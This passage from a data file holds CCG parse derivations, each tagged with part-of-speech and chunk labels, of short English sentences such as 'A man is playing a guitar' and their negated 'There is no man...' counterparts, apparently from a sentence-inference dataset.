t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(441,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'drawing', 'draw', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'picture', 'picture', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(442,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'drawing', 'draw', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'picture', 'picture', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(443,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'food', 'food', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(444,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pizza', 'pizza', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(445,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'bouncing', 'bounce', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trampoline', 'trampoline', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(446,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trampoline', 'trampoline', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(447,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Several', 'several', 'JJ', 'I-NP', 'O'),
t(n, 'boys', 'boy', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trampoline', 'trampoline', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(448,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'doing', 'do', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'back', 'back', 'RB', 'I-ADVP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/pp, 'flips', 'flip', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trampoline', 'trampoline', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(449,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooden', 'wooden', 'JJ', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(450,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooden', 'wooden', 'JJ', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(451,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(452,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(453,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'erasing', 'erase', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'drawing', 'drawing', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'board', 'board', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(454,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'erasing', 'erase', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'drawing', 'drawing', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'board', 'board', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(455,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(456,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'doll', 'doll', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(457,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'doll', 'doll', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(458,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'toy', 'toy', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(459,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(460,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'praying', 'pray', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'fervently', 'fervently', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(461,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'cooked', 'cook', 'VBN', 'I-NP', 'O'),
t(n, 'octopus', 'octopus', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(462,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'chopping', 'chop', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'octopus', 'octopus', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(463,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'drawing', 'draw', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(464,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'man', 'man', 'NN', 'I-NP', 'O'),
t(n, 'drawing', 'drawing', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(465,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:ng\np, 'drawing', 'draw', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(466,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'man', 'man', 'NN', 'I-NP', 'O'),
t(n, 'drawing', 'drawing', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(467,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'banana', 'banana', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(468,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fruit', 'fruit', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(469,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'note', 'note', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(470,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'paper', 'paper', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(471,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(472,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'one', 'one', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(473,
rp(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'race', 'race', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'flipping', 'flip', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'tires', 'tire', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tractor', 'tractor', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(474,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'competing', 'compete', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tire', 'tire', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'rolling', 'roll', 'VBG', 'I-VP', 'O'),
t(n, 'race', 'race', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(475,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'talking', 'talk', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(476,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'old', 'old', 'JJ', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'talking', 'talk', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(477,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'punching', 'punch', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'soccer', 'soccer', 'NN', 'I-NP', 'O'),
t(n, 'ball', 'ball', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(478,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'mixing', 'mix', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'content', 'content', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(479,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'doctors', 'doctor', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'healing', 'heal', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(480,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'doctor', 'doctor', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'helping', 'help', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'patient', 'patient', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(481,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(482,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(483,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'driving', 'drive', 'VBG', 'I-VP', 'O'),
fa(np:nb,
